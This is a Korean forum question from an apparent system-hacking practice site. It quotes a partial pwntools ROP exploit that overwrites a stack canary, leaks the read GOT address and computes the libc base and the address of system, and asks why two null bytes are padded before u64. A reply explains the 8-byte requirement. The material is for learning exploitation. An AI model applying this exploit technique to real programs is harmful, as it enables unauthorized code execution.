궁금합니다

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

write(1, read_got, ...)

payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

read = u64(p.recvn(6) + b'\x00'*2)

2바이트를 왜 뒤에 추가하는지 이해가 가지 않습니다! 왜 그럴까요?

#시스템해킹 #공격기법 #rop #return_oriented_programming
작성자 정보
답변 1
avatar
st4rlight
바탈리온

pwntools의 u64는 인자가 8byte로 맞춰지지 않으면 에러를 뿜으며 변환을 해주지 않습니다.
[requirements]
u64 -> 8byte
u32 -> 4byte
u16 -> 2byte
u8 -> 1byte
직접 없애보고 익스플로잇을 실행시키면 어떤 의도인지 알 수 있을겁니다!

2023.11.02. 01:56
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기